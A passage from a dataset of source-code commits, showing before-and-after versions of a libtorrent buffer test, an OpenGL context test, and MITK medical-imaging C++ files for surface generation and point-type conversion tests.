5);\n\t}\n\tTEST_CHECK(buffer_list.empty());\n}\n\nint test_main()\n{\n\ttest_buffer();\n\ttest_chained_buffer();\n\treturn 0;\n}\n\n<commit_msg>test_buffer fix<commit_after>\/*\n\tCopyright (c) 2003 - 2005, Arvid Norberg, Daniel Wallin\n\tAll rights reserved.\n\n\tRedistribution and use in source and binary forms, with or without\n\tmodification, are permitted provided that the following conditions\n\tare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of Rasterbar Software nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <cassert>\n#include <boost\/timer.hpp>\n#include <iostream>\n#include <vector>\n#include <utility>\n#include <set>\n\n#include \"libtorrent\/buffer.hpp\"\n#include \"libtorrent\/chained_buffer.hpp\"\n\n#include \"test.hpp\"\n\nusing libtorrent::buffer;\nusing libtorrent::chained_buffer;\n\n\/*\ntemplate<class T>\nT const& min_(T const& x, T const& y)\n{\n\treturn x < y ? x : y;\n}\n\nvoid test_speed()\n{\n\tbuffer b;\n\n\tchar data[32];\n\n\tsrand(0);\n\n\tboost::timer t;\n\n\tint const iterations = 5000000;\n\tint const step = iterations \/ 20;\n\n\tfor (int i = 0; i < iterations; ++i)\n\t{\n\t\tint x = rand();\n\n\t\tif (i % step == 0) std::cerr << \".\";\n\n\t\tstd::size_t n = rand() % 32;\n\t\tn = 32;\n\n\t\tif (x % 2)\n\t\t{\n\t\t\tb.insert(data, data + n);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tb.erase(min_(b.size(), n));\n\t\t}\n\t}\n\n\tfloat t1 = t.elapsed();\n\tstd::cerr << \"buffer elapsed: \" << t.elapsed() << \"\\n\";\n\n\tstd::vector<char> v;\n\n\tsrand(0);\n\tt.restart();\n\n\tfor (int i = 0; i < iterations; ++i)\n\t{\n\t\tint x = rand();\n\n\t\tif (i % step == 0) std::cerr << \".\";\n\n\t\tstd::size_t n = rand() % 32;\n\t\tn = 32;\n\n\t\tif (x % 2)\n\t\t{\n\t\t\tv.insert(v.end(), data, data + n);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tv.erase(v.begin(), v.begin() + min_(v.size(), n));\n\t\t}\n\t}\n\n\tfloat t2 = t.elapsed();\n\tstd::cerr << \"std::vector elapsed: \" << t.elapsed() << \"\\n\";\n\n\tassert(t1 < t2);\n}\n*\/\n\n\/\/ -- test buffer --\n\nvoid test_buffer()\n{\n\tchar data[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};\n\n\tbuffer b;\n\n\tTEST_CHECK(b.size() == 0);\n\tTEST_CHECK(b.capacity() == 0);\n\tTEST_CHECK(b.empty());\n\t\n\tb.resize(10);\n\tTEST_CHECK(b.size() == 10);\n\tTEST_CHECK(b.capacity() == 10);\n\t\n\tstd::memcpy(b.begin(), data, 10);\n\tb.reserve(50);\n\tTEST_CHECK(std::memcmp(b.begin(), data, 10) == 0);\n\tTEST_CHECK(b.capacity() == 50);\n\t\n\tb.erase(b.begin() + 6, b.end());\n\tTEST_CHECK(std::memcmp(b.begin(), data, 6) == 0);\n\tTEST_CHECK(b.capacity() == 50);\n\tTEST_CHECK(b.size() == 6);\n\n\tb.insert(b.begin(), data + 5, data + 10);\n\tTEST_CHECK(b.capacity() == 50);\n\tTEST_CHECK(b.size() == 11);\n\tTEST_CHECK(std::memcmp(b.begin(), data + 5, 5) == 0);\n\n\tb.clear();\n\tTEST_CHECK(b.size() == 0);\n\tTEST_CHECK(b.capacity() == 50);\n\n\tb.insert(b.end(), data, data + 10);\n\tTEST_CHECK(b.size() == 10);\n\tTEST_CHECK(std::memcmp(b.begin(), data, 10) == 0);\n\t\n\tb.erase(b.begin(), b.end());\n\tTEST_CHECK(b.capacity() == 50);\n\tTEST_CHECK(b.size() == 0);\n\n\tbuffer().swap(b);\n\tTEST_CHECK(b.capacity() == 0);\n\n}\n\n\/\/ -- test chained buffer --\n\nstd::set<char*> buffer_list;\n\nvoid free_buffer(char* m)\n{\n\tstd::set<char*>::iterator i = buffer_list.find(m);\n\tTEST_CHECK(i != buffer_list.end());\n\n\tbuffer_list.erase(i);\n\tstd::free(m);\n}\n\nchar* allocate_buffer(int size)\n{\n\tchar* mem = (char*)std::malloc(size);\n\tbuffer_list.insert(mem);\n\treturn mem;\n}\n\ntemplate <class T>\nint copy_buffers(T const& b, char* target)\n{\n\tint copied = 0;\n\tfor (typename T::const_iterator i = b.begin()\n\t\t, end(b.end()); i != end; ++i)\n\t{\n\t\tmemcpy(target, asio::buffer_cast<char const*>(*i), asio::buffer_size(*i));\n\t\ttarget += asio::buffer_size(*i);\n\t\tcopied += asio::buffer_size(*i);\n\t}\n\treturn copied;\n}\n\nbool compare_chained_buffer(chained_buffer& b, char const* mem, int size)\n{\n\tif (size == 0) return true;\n\tstd::vector<char> flat(size);\n\tstd::list<asio::const_buffer> const& iovec2 = b.build_iovec(size);\n\tint copied = copy_buffers(iovec2, &flat[0]);\n\tTEST_CHECK(copied == size);\n\treturn std::memcmp(&flat[0], mem, size) == 0;\n}\n\nvoid test_chained_buffer()\n{\n\tchar data[] = \"foobar\";\n\t{\n\t\tchained_buffer b;\n\t\t\n\t\tTEST_CHECK(b.empty());\n\t\tTEST_CHECK(b.capacity() == 0);\n\t\tTEST_CHECK(b.size() == 0);\n\t\tTEST_CHECK(b.space_in_last_buffer() == 0);\n\t\tTEST_CHECK(buffer_list.empty());\n\n\t\tchar* b1 = allocate_buffer(512);\n\t\tstd::memcpy(b1, data, 6);\n\t\tb.append_buffer(b1, 512, 6, (void(*)(char*))&free_buffer);\n\t\tTEST_CHECK(buffer_list.size() == 1);\n\n\t\tTEST_CHECK(b.capacity() == 512);\n\t\tTEST_CHECK(b.size() == 6);\n\t\tTEST_CHECK(!b.empty());\n\t\tTEST_CHECK(b.space_in_last_buffer() == 512 - 6);\n\n\t\tb.pop_front(3);\n\n\t\tTEST_CHECK(b.capacity() == 512);\n\t\tTEST_CHECK(b.size() == 3);\n\t\tTEST_CHECK(!b.empty());\n\t\tTEST_CHECK(b.space_in_last_buffer() == 512 - 6);\n\n\t\tbool ret = b.append(data, 6);\n\n\t\tTEST_CHECK(ret == true);\n\t\tTEST_CHECK(b.capacity() == 512);\n\t\tTEST_CHECK(b.size() == 9);\n\t\tTEST_CHECK(!b.empty());\n\t\tTEST_CHECK(b.space_in_last_buffer() == 512 - 12);\n\n\t\tret = b.append(data, 1024);\n\n\t\tTEST_CHECK(ret == false);\n\n\t\tchar* b2 = allocate_buffer(512);\n\t\tstd::memcpy(b2, data, 6);\n\t\tb.append_buffer(b2, 512, 6, (void(*)(char*))&free_buffer);\n\t\tTEST_CHECK(buffer_list.size() == 2);\n\n\t\tchar* b3 = allocate_buffer(512);\n\t\tstd::memcpy(b3, data, 6);\n\t\tb.append_buffer(b3, 512, 6, (void(*)(char*))&free_buffer);\n\t\tTEST_CHECK(buffer_list.size() == 3);\n\n\t\tTEST_CHECK(b.capacity() == 512 * 3);\n\t\tTEST_CHECK(b.size() == 21);\n\t\tTEST_CHECK(!b.empty());\n\t\tTEST_CHECK(b.space_in_last_buffer() == 512 - 6);\n\n\t\tTEST_CHECK(compare_chained_buffer(b, \"barfoobar\", 9));\n\n\t\tfor (int i = 1; i < 21; ++i)\n\t\t\tTEST_CHECK(compare_chained_buffer(b, \"barfoobarfoobarfoobar\", i));\n\n\t\tb.pop_front(5 + 6);\n\n\t\tTEST_CHECK(buffer_list.size() == 2);\n\t\tTEST_CHECK(b.capacity() == 512 * 2);\n\t\tTEST_CHECK(b.size() == 10);\n\t\tTEST_CHECK(!b.empty());\n\t\tTEST_CHECK(b.space_in_last_buffer() == 512 - 6);\n\n\t\tchar const* str = \"obarfooba\";\n\t\tTEST_CHECK(compare_chained_buffer(b, str, 9));\n\n\t\tfor (int i = 0; i < 9; ++i)\n\t\t{\n\t\t\tb.pop_front(1);\n\t\t\t++str;\n\t\t\tTEST_CHECK(compare_chained_buffer(b, str, 8 - i));\n\t\t\tTEST_CHECK(b.size() == 9 - i);\n\t\t}\n\n\t\tchar* b4 = allocate_buffer(20);\n\t\tstd::memcpy(b4, data, 6);\n\t\tstd::memcpy(b4 + 6, data, 6);\n\t\tb.append_buffer(b4, 20, 12, (void(*)(char*))&free_buffer);\n\t\tTEST_CHECK(b.space_in_last_buffer() == 8);\n\n\t\tret = b.append(data, 6);\n\t\tTEST_CHECK(ret == true);\n\t\tTEST_CHECK(b.space_in_last_buffer() == 2);\n\t\tstd::cout << b.space_in_last_buffer() << std::endl;\n\t\tret = b.append(data, 2);\n\t\tTEST_CHECK(ret == true);\n\t\tTEST_CHECK(b.space_in_last_buffer() == 0);\n\t\tstd::cout << b.space_in_last_buffer() << std::endl;\n\t\t\n\t\tchar* b5 = allocate_buffer(20);\n\t\tstd::memcpy(b4, data, 6);\n\t\tb.append_buffer(b5, 20, 6, (void(*)(char*))&free_buffer);\n\n\t\tb.pop_front(22);\n\t\tTEST_CHECK(b.size() == 5);\n\t}\n\tTEST_CHECK(buffer_list.empty());\n}\n\nint test_main()\n{\n\ttest_buffer();\n\ttest_chained_buffer();\n\treturn 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"gl\/context.h\"\n#include \"gl\/environment.h\"\n\n#include <gtest\/gtest.h>\n\nusing namespace gxy;\n\nstruct Fixture : public testing::Test\n{\n  int width{42};\n  int height{89};\n  std::string title{\"badger\"};\n\n  gl::environment env{};\n  gl::context ctx{env, width, height, title.c_str()};\n};\n\nTEST_F(Fixture, OpenGLMajorVersion)\n{\n  int major{};\n  ::glGetIntegerv(GL_MAJOR_VERSION, &major);\n\n  ASSERT_EQ(4, major);\n}\n\nTEST_F(Fixture, OpenGLMinorVersion)\n{\n  int minor{};\n  ::glGetIntegerv(GL_MINOR_VERSION, &minor);\n\n  ASSERT_EQ(1, minor);\n}\n\n<commit_msg>Removed namespace scope from gl methods (stupid macros).<commit_after>#include \"gl\/context.h\"\n#include \"gl\/environment.h\"\n\n#include <gtest\/gtest.h>\n\nusing namespace gxy;\n\nstruct Fixture : public testing::Test\n{\n  int width{42};\n  int height{89};\n  std::string title{\"badger\"};\n\n  gl::environment env{};\n  gl::context ctx{env, width, height, title.c_str()};\n};\n\nTEST_F(Fixture, OpenGLMajorVersion)\n{\n  int major{};\n  glGetIntegerv(GL_MAJOR_VERSION, &major);\n\n  ASSERT_EQ(4, major);\n}\n\nTEST_F(Fixture, OpenGLMinorVersion)\n{\n  int minor{};\n  glGetIntegerv(GL_MINOR_VERSION, &minor);\n\n  ASSERT_EQ(1, minor);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n \nProgram:   Medical Imaging & Interaction Toolkit\nModule:    $RCSfile$\nLanguage:  C++\nDate:      $Date$\nVersion:   $Revision$\n \nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n \nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n \n=========================================================================*\/\n\n#include \"mitkShowSegmentationAsSurface.h\"\n#include \"mitkManualSegmentationToSurfaceFilter.h\"\n#include \"mitkDataTreeNodeFactory.h\"\n#include \"mitkMaterialProperty.h\"\n\n#include <vtkPolyDataNormals.h>\n\nnamespace mitk \n{\n\nShowSegmentationAsSurface::ShowSegmentationAsSurface()\n:m_UIDGeneratorSurfaces(\"Surface_\"),\n m_AddToTree(false)\n{\n}\n\n\nShowSegmentationAsSurface::~ShowSegmentationAsSurface()\n{\n}\n\nvoid ShowSegmentationAsSurface::Initialize(const NonBlockingAlgorithm* other)\n{\n  Superclass::Initialize(other);\n\n  bool syncVisibility(false);\n\n  if (other)\n  {\n    other->GetParameter(\"Sync visibility\", syncVisibility);\n  }\n\n  SetParameter(\"Sync visibility\", syncVisibility );\n  SetParameter(\"Smooth\", true );\n  SetParameter(\"Wireframe\", false );\n}\n\n\nbool ShowSegmentationAsSurface::ReadyToRun()\n{\n  try\n  {\n    Image::Pointer image;\n    GetPointerParameter(\"Input\", image);\n\n    return image.IsNotNull() && GetGroupNode();\n  }\n  catch (std::invalid_argument&)\n  {\n    return false;\n  }\n}\n\n\nbool ShowSegmentationAsSurface::ThreadedUpdateFunction()\n{\n  Image::Pointer image;\n  GetPointerParameter(\"Input\", image);\n \n  bool smooth(true);\n  GetParameter(\"Smooth\", smooth);\n\n  ManualSegmentationToSurfaceFilter::Pointer surfaceFilter = ManualSegmentationToSurfaceFilter::New();\n  surfaceFilter->SetInput( image );\n  surfaceFilter->SetThreshold( 1 ); \/\/expects binary image with zeros and ones\n\n  if (smooth)\n  {\n    surfaceFilter->SetMedianKernelSize(3, 3, 3); \/\/ apply median to segmentation before marching cubes\n    surfaceFilter->SetGaussianStandardDeviation( 1.5 ); \n    surfaceFilter->SetDecimate( ImageToSurfaceFilter::DecimatePro );\n    surfaceFilter->SetTargetReduction( 0.8 );\n  }\n  \n  surfaceFilter->SetUseGaussianImageSmooth(smooth); \/\/ apply gaussian to thresholded image ?\n  surfaceFilter->SetMedianFilter3D(smooth); \/\/ apply median to segmentation before marching cubes ?\n  surfaceFilter->SetSmooth(smooth); \/\/ smooth wireframe ?\n  surfaceFilter->UpdateLargestPossibleRegion();\n\n  \/\/ calculate normals for nicer display\n  m_Surface = surfaceFilter->GetOutput();\n\n  vtkPolyData* polyData = m_Surface->GetVtkPolyData();\n  polyData->SetVerts(0);\n  polyData->SetLines(0);\n\n  if (smooth)\n  {\n    vtkPolyDataNormals* normalsGen = vtkPolyDataNormals::New();\n\n    normalsGen->SetInput( polyData );\n    normalsGen->Update();\n\n    m_Surface->SetVtkPolyData( normalsGen->GetOutput() );\n\n    normalsGen->Delete();\n  }\n  else\n  {\n    m_Surface->SetVtkPolyData( polyData );\n  }\n\n  return true;\n}\n\nvoid ShowSegmentationAsSurface::ThreadedUpdateSuccessful()\n{\n  m_Node = LookForPointerTargetBelowGroupNode(\"Surface representation\");\n\n  m_AddToTree = m_Node.IsNull();\n\n  if (m_AddToTree)\n  {\n    m_Node = DataTreeNode::New();\n  \n    DataTreeNodeFactory::SetDefaultSurfaceProperties(m_Node);\n\n    bool wireframe(false);\n    GetParameter(\"Wireframe\", wireframe );\n    if (wireframe)\n    {\n      MaterialProperty* mp = dynamic_cast<MaterialProperty*>( m_Node->GetProperty(\"material\").GetPointer() );\n      if (mp)\n      {\n        mp->SetRepresentation( MaterialProperty::Wireframe );\n      }\n    }\n  \n    m_Node->SetProperty(\"opacity\", new FloatProperty(0.3) );\n    m_Node->SetProperty(\"linewidth\", new IntProperty(1) );\n    m_Node->SetProperty(\"scalar visibility\", new BoolProperty(false) );\n    \n    std::string uid = m_UIDGeneratorSurfaces.GetUID();\n    m_Node->SetProperty( \"FILENAME\", new StringProperty( uid + \".vtk\" ) ); \/\/ undocumented feature of Image::WriteXMLData\n    m_Node->SetProperty( \"name\", new StringProperty(\"surface representation\") );\n   \n    \/\/ synchronize this object's color with the parent's color\n    \/\/surfaceNode->SetProperty( \"color\", parentNode->GetProperty( \"color\" ) );\n    \/\/surfaceNode->SetProperty( \"visible\", parentNode->GetProperty( \"visible\" ) );\n  }\n\n  m_Node->SetData( m_Surface );\n\n  if (m_AddToTree)\n  {\n\n    DataTreeNode* groupNode = GetGroupNode();\n    if (groupNode)\n    {\n      groupNode->SetProperty( \"Surface representation\", new SmartPointerProperty(m_Node) );\n      BaseProperty* colorProp = groupNode->GetProperty(\"color\");\n      if (colorProp)\n        m_Node->ReplaceProperty(\"color\", colorProp);\n      else\n        m_Node->SetProperty(\"color\", new ColorProperty(1.0, 1.0, 0.0));\n  \n      bool showResult(true);\n      GetParameter(\"Show result\", showResult );\n\n      bool syncVisibility(false);\n      GetParameter(\"Sync visibility\", syncVisibility );\n  \n      Image::Pointer image;\n      GetPointerParameter(\"Input\", image);\n\n      BaseProperty* organTypeProp = image->GetProperty(\"organ type\");\n      if (organTypeProp)\n        m_Surface->SetProperty(\"organ type\", organTypeProp);\n \n      BaseProperty* visibleProp = groupNode->GetProperty(\"visible\");\n      if (visibleProp && syncVisibility)\n        m_Node->ReplaceProperty(\"visible\", visibleProp);\n      else\n        m_Node->SetProperty(\"visible\", new BoolProperty(showResult));\n     }\n    \n    InsertBelowGroupNode(m_Node);\n  }\n    \n  Superclass::ThreadedUpdateSuccessful();\n}\n\n} \/\/ namespace\n\n<commit_msg>FIX (#1060) Surfaces have no name<commit_after>\/*=========================================================================\n \nProgram:   Medical Imaging & Interaction Toolkit\nModule:    $RCSfile$\nLanguage:  C++\nDate:      $Date$\nVersion:   $Revision$\n \nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n \nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n \n=========================================================================*\/\n\n#include \"mitkShowSegmentationAsSurface.h\"\n#include \"mitkManualSegmentationToSurfaceFilter.h\"\n#include \"mitkDataTreeNodeFactory.h\"\n#include \"mitkMaterialProperty.h\"\n\n#include <vtkPolyDataNormals.h>\n\nnamespace mitk \n{\n\nShowSegmentationAsSurface::ShowSegmentationAsSurface()\n:m_UIDGeneratorSurfaces(\"Surface_\"),\n m_AddToTree(false)\n{\n}\n\n\nShowSegmentationAsSurface::~ShowSegmentationAsSurface()\n{\n}\n\nvoid ShowSegmentationAsSurface::Initialize(const NonBlockingAlgorithm* other)\n{\n  Superclass::Initialize(other);\n\n  bool syncVisibility(false);\n\n  if (other)\n  {\n    other->GetParameter(\"Sync visibility\", syncVisibility);\n  }\n\n  SetParameter(\"Sync visibility\", syncVisibility );\n  SetParameter(\"Smooth\", true );\n  SetParameter(\"Wireframe\", false );\n}\n\n\nbool ShowSegmentationAsSurface::ReadyToRun()\n{\n  try\n  {\n    Image::Pointer image;\n    GetPointerParameter(\"Input\", image);\n\n    return image.IsNotNull() && GetGroupNode();\n  }\n  catch (std::invalid_argument&)\n  {\n    return false;\n  }\n}\n\n\nbool ShowSegmentationAsSurface::ThreadedUpdateFunction()\n{\n  Image::Pointer image;\n  GetPointerParameter(\"Input\", image);\n \n  bool smooth(true);\n  GetParameter(\"Smooth\", smooth);\n\n  ManualSegmentationToSurfaceFilter::Pointer surfaceFilter = ManualSegmentationToSurfaceFilter::New();\n  surfaceFilter->SetInput( image );\n  surfaceFilter->SetThreshold( 1 ); \/\/expects binary image with zeros and ones\n\n  if (smooth)\n  {\n    surfaceFilter->SetMedianKernelSize(3, 3, 3); \/\/ apply median to segmentation before marching cubes\n    surfaceFilter->SetGaussianStandardDeviation( 1.5 ); \n    surfaceFilter->SetDecimate( ImageToSurfaceFilter::DecimatePro );\n    surfaceFilter->SetTargetReduction( 0.8 );\n  }\n  \n  surfaceFilter->SetUseGaussianImageSmooth(smooth); \/\/ apply gaussian to thresholded image ?\n  surfaceFilter->SetMedianFilter3D(smooth); \/\/ apply median to segmentation before marching cubes ?\n  surfaceFilter->SetSmooth(smooth); \/\/ smooth wireframe ?\n  surfaceFilter->UpdateLargestPossibleRegion();\n\n  \/\/ calculate normals for nicer display\n  m_Surface = surfaceFilter->GetOutput();\n\n  vtkPolyData* polyData = m_Surface->GetVtkPolyData();\n  polyData->SetVerts(0);\n  polyData->SetLines(0);\n\n  if (smooth)\n  {\n    vtkPolyDataNormals* normalsGen = vtkPolyDataNormals::New();\n\n    normalsGen->SetInput( polyData );\n    normalsGen->Update();\n\n    m_Surface->SetVtkPolyData( normalsGen->GetOutput() );\n\n    normalsGen->Delete();\n  }\n  else\n  {\n    m_Surface->SetVtkPolyData( polyData );\n  }\n\n  return true;\n}\n\nvoid ShowSegmentationAsSurface::ThreadedUpdateSuccessful()\n{\n  m_Node = LookForPointerTargetBelowGroupNode(\"Surface representation\");\n\n  m_AddToTree = m_Node.IsNull();\n\n  if (m_AddToTree)\n  {\n    m_Node = DataTreeNode::New();\n  \n    DataTreeNodeFactory::SetDefaultSurfaceProperties(m_Node);\n\n    bool wireframe(false);\n    GetParameter(\"Wireframe\", wireframe );\n    if (wireframe)\n    {\n      MaterialProperty* mp = dynamic_cast<MaterialProperty*>( m_Node->GetProperty(\"material\").GetPointer() );\n      if (mp)\n      {\n        mp->SetRepresentation( MaterialProperty::Wireframe );\n      }\n    }\n  \n    m_Node->SetProperty(\"opacity\", new FloatProperty(0.3) );\n    m_Node->SetProperty(\"linewidth\", new IntProperty(1) );\n    m_Node->SetProperty(\"scalar visibility\", new BoolProperty(false) );\n    \n    std::string uid = m_UIDGeneratorSurfaces.GetUID();\n    m_Node->SetProperty( \"FILENAME\", new StringProperty( uid + \".vtk\" ) ); \/\/ undocumented feature of Image::WriteXMLData\n    std::string groupNodesName (\"surface\");\n    \n    DataTreeNode* groupNode = GetGroupNode();\n    if (groupNode)\n    {\n      groupNode->GetName( groupNodesName );\n    }\n    m_Node->SetProperty( \"name\", new StringProperty(groupNodesName) );\n   \n    \/\/ synchronize this object's color with the parent's color\n    \/\/surfaceNode->SetProperty( \"color\", parentNode->GetProperty( \"color\" ) );\n    \/\/surfaceNode->SetProperty( \"visible\", parentNode->GetProperty( \"visible\" ) );\n  }\n\n  m_Node->SetData( m_Surface );\n\n  if (m_AddToTree)\n  {\n\n    DataTreeNode* groupNode = GetGroupNode();\n    if (groupNode)\n    {\n      groupNode->SetProperty( \"Surface representation\", new SmartPointerProperty(m_Node) );\n      BaseProperty* colorProp = groupNode->GetProperty(\"color\");\n      if (colorProp)\n        m_Node->ReplaceProperty(\"color\", colorProp);\n      else\n        m_Node->SetProperty(\"color\", new ColorProperty(1.0, 1.0, 0.0));\n  \n      bool showResult(true);\n      GetParameter(\"Show result\", showResult );\n\n      bool syncVisibility(false);\n      GetParameter(\"Sync visibility\", syncVisibility );\n  \n      Image::Pointer image;\n      GetPointerParameter(\"Input\", image);\n\n      BaseProperty* organTypeProp = image->GetProperty(\"organ type\");\n      if (organTypeProp)\n        m_Surface->SetProperty(\"organ type\", organTypeProp);\n \n      BaseProperty* visibleProp = groupNode->GetProperty(\"visible\");\n      if (visibleProp && syncVisibility)\n        m_Node->ReplaceProperty(\"visible\", visibleProp);\n      else\n        m_Node->SetProperty(\"visible\", new BoolProperty(showResult));\n     }\n    \n    InsertBelowGroupNode(m_Node);\n  }\n    \n  Superclass::ThreadedUpdateSuccessful();\n}\n\n} \/\/ namespace\n\n<|endoftext|>"}
{"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkTestFixture.h\"\n\n#include \"mitkTestingMacros.h\"\n#include \"mitkConstants.h\"\n#include \"mitkTypes.h\" \/\/ for Equal method\n#include \"mitkPoint.h\"\n#include \"itkPoint.h\"\n#include \"vtkPoints.h\"\n#include \"vtkSmartPointer.h\"\n\n#include <iostream>\n\nusing namespace mitk;\n\n\nclass mitkPointTypeConversionTestSuite : public mitk::TestFixture\n{\n\n  CPPUNIT_TEST_SUITE(mitkPointTypeConversionTestSuite);\n\n  MITK_TEST(Mitk2Itk_PointCompatibility);\n  MITK_TEST(Itk2Mitk_PointCompatibility);\n\n  MITK_TEST(Vtk2Mitk_PointCompatibility);\n\n  MITK_TEST(Mitk2Pod_PointCompatibility);\n  MITK_TEST(Pod2Mitk_PointCompatibility);\n\n  MITK_TEST(Point2Vector);\n\n  CPPUNIT_TEST_SUITE_END();\n\nprivate:\n\n  vtkSmartPointer<vtkPoints>   a_vtkPoints;\n  ScalarType originalValues[3];\n  ScalarType valuesToCopy[3];\n\n\npublic:\n\n\n  void setUp(void)\n  {\n    FillVector3D(originalValues, 1.0, 2.0, 3.0);\n    FillVector3D(valuesToCopy,   4.0, 5.0, 6.0);\n\n    vtkSmartPointer<vtkPoints>   a_vtkPoints = vtkSmartPointer<vtkPoints>::New();\n    a_vtkPoints->Initialize();\n  }\n\n  void tearDown(void)\n  {\n    a_vtkPoints = NULL;\n  }\n\n\n  \/**\n   * @brief Convenience method to test if one vector has been assigned successfully to the other.\n   *\n   * More specifically, tests if v1 = v2 was performed correctly.\n   *\n   * @param v1    The vector v1 of the assignment v1 = v2\n   * @param v2    The vector v2 of the assignment v1 = v2\n   * @param v1Name        The type name of v1 (e.g.: mitk::Vector3D). Necessary for the correct test output.\n   * @param v2Name        The type name of v2 (e.g.: mitk::Vector3D). Necessary for the correct test output.\n  *  @param eps   defines the allowed tolerance when testing for equality.\n   *\/\n  template <typename T1, typename T2>\n  void TestForEquality(T1 v1, T2 v2, std::string v1Name, std::string v2Name, ScalarType eps = mitk::eps)\n  {\n    CPPUNIT_ASSERT_ASSERTION_PASS_MESSAGE(\"\\nAssigning \" + v2Name  + \" to \" + v1Name + \":\\n both are equal\", EqualArray(v1, v2, 3, eps));\n  }\n\n\n\n  void Mitk2Itk_PointCompatibility()\n  {\n    itk::Point<ScalarType, 3> itkPoint3D = originalValues;\n    mitk::Point3D             point3D    = valuesToCopy;\n\n    itkPoint3D = point3D;\n\n    TestForEquality(itkPoint3D, point3D, \"itk::Point\", \"mitk:Point\");\n  }\n\n\n  void Itk2Mitk_PointCompatibility()\n  {\n    mitk::Point3D point3D                = originalValues;\n    itk::Point<ScalarType, 3> itkPoint3D = valuesToCopy;\n\n    point3D = itkPoint3D;\n\n    TestForEquality(point3D, itkPoint3D, \"mitk:Point\", \"itk::Point\");\n  }\n\n\n  void Vtk2Mitk_PointCompatibility()\n  {\n    mitk::Point3D point3D = originalValues;\n    a_vtkPoints->InsertNextPoint(valuesToCopy);\n    double vtkPoint[3];\n    a_vtkPoints->GetPoint(0, vtkPoint);\n\n    point3D = vtkPoint;\n\n    TestForEquality(point3D, vtkPoint, \"mitk:Point\", \"vtkPoint\");\n\n  }\n\n\n  void Mitk2Pod_PointCompatibility()\n  {\n    ScalarType podPoint[] = {1.0, 2.0, 3.0};\n    mitk::Point3D point3D = valuesToCopy;\n\n    point3D.ToArray(podPoint);\n\n    TestForEquality(podPoint, point3D, \"POD point\", \"mitk::Point\");\n\n  }\n\n  void Pod2Mitk_PointCompatibility()\n  {\n    itk::Point<double, 3> point3D = originalValues;\n    ScalarType podPoint[] = {4.0, 5.0, 6.0};\n\n    point3D = podPoint;\n\n    TestForEquality(point3D, podPoint, \"mitk::Point3D\", \"POD point\");\n  }\n\n\n  void Point2Vector()\n  {\n    itk::Point<double, 3> point3D   = valuesToCopy;\n    itk::Vector<double, 3> vector3D = originalValues;\n\n    point3D = vector3D;\n\n    TestForEquality(point3D, vector3D, \"mitk::Point\", \"mitk::Vector\");\n  }\n\n};\n\n\nMITK_TEST_SUITE_REGISTRATION(mitkPointTypeConversion)\n\n\n<commit_msg>Fixed errors in Point conversion test, now it works!<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkTestFixture.h\"\n\n#include \"mitkTestingMacros.h\"\n#include \"mitkConstants.h\"\n#include \"mitkTypes.h\" \/\/ for Equal method\n#include \"mitkPoint.h\"\n#include \"itkPoint.h\"\n#include \"vtkPoints.h\"\n#include \"vtkSmartPointer.h\"\n\n#include <iostream>\n\nusing namespace mitk;\n\n\nclass mitkPointTypeConversionTestSuite : public mitk::TestFixture\n{\n\n  CPPUNIT_TEST_SUITE(mitkPointTypeConversionTestSuite);\n\n  MITK_TEST(Mitk2Itk_PointCompatibility);\n  MITK_TEST(Itk2Mitk_PointCompatibility);\n\n  MITK_TEST(Vtk2Mitk_PointCompatibility);\n\n  MITK_TEST(Mitk2Pod_PointCompatibility);\n  MITK_TEST(Pod2Mitk_PointCompatibility);\n\n  MITK_TEST(Vector2Point);\n\n 